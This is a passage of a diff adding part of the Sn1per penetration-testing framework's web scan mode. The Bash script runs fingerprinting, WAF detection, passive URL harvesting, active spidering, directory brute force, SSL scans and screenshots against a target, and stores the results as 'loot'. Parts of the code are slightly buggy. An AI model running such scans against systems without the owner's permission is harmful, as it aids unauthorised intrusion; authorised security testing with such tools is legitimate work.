+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/wig-$TARGET-http 2> /dev/null
+    fi
+    if [[ "$WEBTECH" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      webtech -u http://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http.txt
+    fi
+    if [[ "$PASSIVE_SPIDER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$WAYBACKMACHINE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$HACKERTARGET" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
+      echo " "
+    fi
+    if [[ "$GAU" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING GUA URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      gau --subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$BLACKWIDOW" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+      blackwidow -u http://$TARGET:80 -l 1 -v n
+      cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null
+      cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+      mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+      fi
+    fi
+    source $INSTALL_DIR/modes/static-grep-search.sh
+    if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+      source $INSTALL_DIR/modes/javascript-analysis.sh
+    fi
+    if [[ "$WEB_BRUTE_STEALTHSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+        cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+        cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+        mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+        diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+        cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+        if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
+          echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+          cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+        fi
+        if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+        fi
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+        gobuster -u http://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-stealth.txt
+        sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+      fi
+      wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
+      egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-http.txt | tee $LOOT_DIR/web/robots-$TARGET-http.txt
+    fi
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED SAVING SCREENSHOTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    if [[ $CUTYCAPT = "1" ]]; then
+      if [[ $DISTRO == "blackarch"  ]]; then
+        /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
+      else
+        cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
+      fi
+    fi
+    if [[ $WEBSCREENSHOT = "1" ]]; then
+      cd $LOOT_DIR
+      python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80
+    fi
+  fi
+ 
+  if [[ -z "$port_443" ]];
+  then
+    echo -e "$OKRED + -- --=[ Port 443 closed... skipping.$RESET"
+  else
+    echo -e "$OKORANGE + -- --=[ Port 443 opened... running tests...$RESET"
+    echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s --insecure -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING COMMENTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
+    sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-https-$TARGET.txt 2> /dev/null
+    rm -f $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep  \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null
+    if [[ "$WAFWOOF" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR WAF $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https.raw > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WHATWEB" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING HTTP INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https.raw  2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https.raw > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null
+    fi
+    if [[ "$WIG" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SERVER INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/wig-$TARGET-https 2> /dev/null
+    fi
+    if [[ "$WEBTECH" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt
+    fi
+    if [[ "$PASSIVE_SPIDER" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$WAYBACKMACHINE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$HACKERTARGET" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
+      echo " "
+    fi
+    if [[ "$GAU" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING GUA URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      gau --subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$BLACKWIDOW" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+      blackwidow -u https://$TARGET:443 -l 1 -v n
+      cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null
+      cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+      mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null >> $LOOT_DIR/web/spider-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+      fi
+    fi
+    source $INSTALL_DIR/modes/static-grep-search.sh
+    if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+      source $INSTALL_DIR/modes/javascript-analysis.sh
+    fi
+    if [[ $WEB_BRUTE_STEALTHSCAN == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+        cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+        cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+        mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+        diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null >> $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+        if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+          echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+          cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+        fi
+        if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+          /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+        fi
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+        gobuster -u https://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-stealth.txt
+        sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+      fi
+      wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
+      egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-https.txt | tee $LOOT_DIR/web/robots-$TARGET-https.txt
+    fi
+    if [[ "$SSL" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
+    fi
+    if [[ "$SSL_INSECURE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR INSECURE SSL/TLS CONFIGURATIONS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl https://$TARGET 2> $LOOT_DIR/web/curldebug-$TARGET.txt > /dev/null
+    fi
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED SAVING SCREENSHOTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    if [[ $CUTYCAPT = "1" ]]; then
+      if [[ $DISTRO == "blackarch"  ]]; then
+        /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
+      else
+        cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
+      fi
+    fi
+    if [[ $WEBSCREENSHOT = "1" ]]; then
+      cd $LOOT_DIR
+      python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443
+    fi
+    echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg"
+  fi
+
+  if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    SSL="false"
+    PORT="80"
+    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+    SSL="true"
+    PORT="443"
+    source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+    for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+      source $file
+    done
+    source $INSTALL_DIR/modes/sc0pe-network-scan.sh    
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    source $INSTALL_DIR/modes/sc0pe.sh 
+  fi
+  
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SCAN COMPLETE! $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
